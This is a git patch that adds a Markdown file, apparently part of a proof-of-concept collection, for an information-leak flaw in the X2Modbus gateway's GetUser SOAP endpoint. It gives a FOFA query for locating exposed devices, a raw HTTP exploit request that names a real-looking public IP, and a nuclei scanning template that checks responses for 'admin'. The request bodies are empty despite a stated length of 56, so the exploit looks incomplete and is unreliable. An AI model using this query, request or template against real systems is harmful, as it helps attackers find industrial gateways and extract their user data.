From ac36655375e0f30d64b92c8c66704a009ffdede7 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Tue, 30 Apr 2024 16:04:04 +0800
Subject: [PATCH] =?UTF-8?q?Create=20X2Modbus=E7=BD=91=E5=85=B3GetUser?=
=?UTF-8?q?=E6=8E=A5=E5=8F=A3=E5=AD=98=E5=9C=A8=E4=BF=A1=E6=81=AF=E6=B3=84?=
=?UTF-8?q?=E6=BC=8F=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
X2Modbus网关GetUser接口存在信息泄漏漏洞.md | 87 ++++++++++++++++++++++
1 file changed, 87 insertions(+)
create mode 100644 X2Modbus网关GetUser接口存在信息泄漏漏洞.md
diff --git a/X2Modbus网关GetUser接口存在信息泄漏漏洞.md b/X2Modbus网关GetUser接口存在信息泄漏漏洞.md
new file mode 100644
index 0000000..070aeb8
--- /dev/null
+++ b/X2Modbus网关GetUser接口存在信息泄漏漏洞.md
@@ -0,0 +1,87 @@
+## X2Modbus网关GetUser接口存在信息泄漏漏洞
+
+## fofa
+```
+server="SunFull-Webs"
+```
+
+## poc
+```
+POST /soap/GetUser HTTP/1.1
+Host: 127.0.0.1
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+Referer: http://60.12.13.234:880/login.html
+Accept-Encoding: gzip, deflate
+Accept-Language: zh-CN,zh;q=0.9
+Cookie: language=zh-cn; username=admin1
+If-Modified-Since: Sat Jun 29 10:02:08 2019
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 56
+
+
+```
+
+
+
+## nuclei
+```
+
+id: X2Modbus-info
+
+info:
+ name: X2Modbus-info
+ author: ly
+ severity: low
+ description: write your description here
+ reference:
+ - https://github.com/
+ - https://cve.mitre.org/
+ metadata:
+ max-request: 1
+ shodan-query: ""
+ verified: true
+ yakit-info:
+ sign: e407656a54e1a881e89f488a3ae80223
+
+http:
+- method: POST
+ path:
+ - '{{RootURL}}/soap/GetUser'
+ headers:
+ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ Accept-Encoding: gzip, deflate
+ Accept-Language: zh-CN,zh;q=0.9
+ Cache-Control: max-age=0
+ Connection: close
+ Content-Length: "56"
+ Content-Type: application/x-www-form-urlencoded
+ Cookie: language=zh-cn; username=admin1
+ If-Modified-Since: Sat Jun 29 10:02:08 2019
+ Referer: http://60.12.13.234:880/login.html
+ Upgrade-Insecure-Requests: "1"
+ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
+ like Gecko) Chrome/121.0.0.0 Safari/537.36
+ body:
+
+ max-redirects: 3
+ matchers-condition: and
+ matchers:
+ - id: 1
+ type: status
+ part: status
+ status:
+ - "200"
+ condition: and
+
+ - id: 1
+ type: word
+ part: body
+ words:
+ - admin
+ condition: and
+
+```